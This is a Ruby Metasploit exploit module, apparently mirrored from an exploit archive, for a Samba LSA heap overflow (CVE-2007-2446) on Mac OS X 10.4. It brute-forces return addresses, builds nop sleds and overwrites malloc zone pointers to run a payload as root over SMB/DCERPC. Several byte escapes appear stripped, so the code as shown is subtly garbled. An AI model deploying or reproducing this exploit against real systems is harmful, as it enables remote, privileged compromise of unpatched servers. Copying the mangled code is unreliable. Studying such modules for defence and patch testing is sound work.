Home / os / blackberry

lsa_transnames_heap-osx.rb.txt

Posted on 26 July 2007

##
# $Id: lsa_transnames_heap.rb 5059 2007-07-24 23:44:44Z ramon $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote

include Exploit::Remote::DCERPC
include Exploit::Remote::SMB
include Exploit::Brute

def initialize(info = {})
super(update_info(info,
'Name'           => 'Samba lsa_io_trans_names Heap Overflow',
'Description'    => %q{
This module triggers a heap overflow in the LSA RPC service
of the Samba daemon. This module uses the szone_free() to overwrite
the size() or free() pointer in initial_malloc_zones structure.
},
'Author'         =>
[
'Ramon de Carvalho Valle <ramon@risesecurity.org>',
'Adriano Lima <adriano@risesecurity.org>',
'hdm'
],
'License'        => MSF_LICENSE,
'Version'        => '$Revision: 5059 $',
'References'     =>
[
['CVE', '2007-2446'],
],
'Privileged'     => true,
'Payload'        =>
{
'Space'    => 1024,
},
'Platform'       => 'osx',
'DefaultOptions' =>
{
'PrependSetresuid' => true,
},
'Targets'        =>
[
['Mac OS X 10.4.x x86 Samba 3.0.10',
{
'Platform'      => 'osx',
'Arch'          => [ ARCH_X86 ],
'Nops'          => 4 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x01818000 },
'Stop'  => { 'Ret' => 0x01830000 },
'Step'  => 3351,
},
}
],
['Mac OS X 10.4.x PPC Samba 3.0.10',
{
'Platform'      => 'osx',
'Arch'          => [ ARCH_PPC ],
'Nops'          => 1600,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x01813000 },
'Stop'  => { 'Ret' => 0x01830000 },
'Step'  => 796,
}
}
],
['DEBUG',
{
'Platform'      => 'osx',
'Arch'          => [ ARCH_X86 ],
'Nops'          => 4 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xaabbccdd },
'Stop'  => { 'Ret' => 0xaabbccdd },
'Step'  => 0,
}
}
],
],
'DisclosureDate' => 'May 14 2007'
))

register_options(
[
OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),
], self.class)

end

# Handle a strange byteswapping issue on PPC
def ppc_byteswap(addr)
data = [addr].pack('N')
(data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
end

def brute_exploit(target_addrs)

if(not @nops)
if (target['Nops'] > 0)
print_status("Creating nop sled....")
@nops = make_nops(target['Nops'])
else
@nops = ''
end
end

print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])

pipe = datastore['SMBPIPE'].downcase

print_status("Connecting to the SMB service...")
connect()
smb_login()

datastore['DCERPC::fake_bind_multi'] = false

handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

num_entries  = 256
num_entries2 = 257

#
# First talloc_chunk
# 16 bits align
# 16 bits sid_name_use
#     16 bits uni_str_len
#     16 bits uni_max_len
#     32 bits buffer
# 32 bits domain_idx
#
buf = (('A' * 16) * num_entries)

# Padding
buf << 'A' * 4

#
# Use the szone_free() to overwrite the size() pointer in
# initial_malloc_zones structure.
#
size_pointer = 0x1800008

# Initial nops array
nops = ''

# x86
if (target.arch.include?(ARCH_X86))

#
# We don't use the size() pointer anymore because it
# results in a unexpected behavior when smbd process
# is started by launchd.
#
free_pointer = 0x1800018
nop = "x16"

#
# First talloc_chunk
# 16 bits align
# 16 bits sid_name_use
#     16 bits uni_str_len
#     16 bits uni_max_len
#     32 bits buffer
# 32 bits domain_idx
#

# First nop block
buf = ((nop * 16) * num_entries)

#
# A nop block of 0x16 (pushl %ss) and the address of
# 0x1800014 results in a jns instruction which when
# executed will jump over the address written eight
# bytes past our target address by szone_free() (the
# sign flag is zero at the moment our target address is
# executed).
#
# 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
#
# This is the output of the sequence of xor operations
#   0:   79 23                   jns    0x25
#   2:   96                      xchgl  %eax,%esi
#   3:   17                      popl   %ss
#   4:   16                      pushl  %ss
#   5:   16                      pushl  %ss
#   6:   16                      pushl  %ss
#   7:   16                      pushl  %ss
#   8:   14 00                   adcb   $0x0,%al
#   a:   80 01 16                addb   $0x16,(%ecx)
#
# This jump is needed because the ecx register does not
# point to a valid memory location in free() context
# (it is zero).
#
# The jump will hit our nop block which will be executed
# until it reaches the payload.
#

# Padding nops
buf << nop * 2

# Jump over the pointers
buf << "xebx08"

# Pointers
buf << [target_addrs['Ret']].pack('V')
buf << [free_pointer - 4].pack('V')

#
# We expect to hit this nop block or the one before
# the pointers.
#
buf << nop * (3852 - 8 - payload.encoded.length)

# Payload
buf << payload.encoded

# Padding nops
buf << nop * 1024

stub = lsa_open_policy(dcerpc)

stub << NDR.long(0)            # num_entries
stub << NDR.long(0)            # ptr_sid_enum
stub << NDR.long(num_entries)  # num_entries
stub << NDR.long(0x20004)      # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf

# PPC
else

#
#  The first half of the nop sled is an XOR encoded branch
#  instruction. The second half is a series of unencoded nop
#  instructions. The result is:
#
#  > This is the decoded branch instruction
#  0x181c380:      bl      0x181c6a0
#
#  > The size pointer is written below this
#  0x181c384:      .long 0x1800004
#
#  > Followed by the encoded branch sled
#  0x181c388:      ba      0x180365c
#  [ ... ]
#
#  > The branch lands in the normal nop sled
#  0x181c6a0:      andi.   r17,r16,58162
#  [ ... ]
#
#  > Finally we reach our payload :-)
#

size_pointer = size_pointer - 4

sled = target['Nops']
jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')
nops = (jump * (sled / 8)) + @nops[0, sled / 8]

addr_size = ppc_byteswap(size_pointer)
addr_ret  = ppc_byteswap(target_addrs['Ret'])

# This oddness is required for PPC
buf << [addr_size].pack('N')
buf << [addr_ret ].pack('N')[2,2]
buf << [addr_ret ].pack('N')

# Padding
buf << "A" * (256 - 10)

stub = lsa_open_policy(dcerpc)

stub << NDR.long(0)            # num_entries
stub << NDR.long(0)            # ptr_sid_enum
stub << NDR.long(num_entries)  # num_entries
stub << NDR.long(0x20004)      # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
stub << nops
stub << payload.encoded
end

print_status("Calling the vulnerable function...")

begin
# LsarLookupSids
dcerpc.call(0x0f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply
print_good('Server did not respond, this is expected')
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_good('Server disconnected, this is expected')
else
print_error("Error: #{e.class}: #{e.to_s}")
end
end

handler
disconnect
end

def lsa_open_policy(dcerpc, server="\")

stubdata =
# Server
NDR.uwstring(server) +
# Object Attributes
NDR.long(24) + # SIZE
NDR.long(0)  + # LSPTR
NDR.long(0)  + # NAME
NDR.long(0)  + # ATTRS
NDR.long(0)  + # SEC DES
# LSA QOS PTR
NDR.long(1)  + # Referent
NDR.long(12) + # Length
NDR.long(2)  + # Impersonation
NDR.long(1)  + # Context Tracking
NDR.long(0)  + # Effective Only
# Access Mask
NDR.long(0x02000000)

res = dcerpc.call(6, stubdata)

dcerpc.last_response.stub_data[0,20]
end

end
end

 

TOP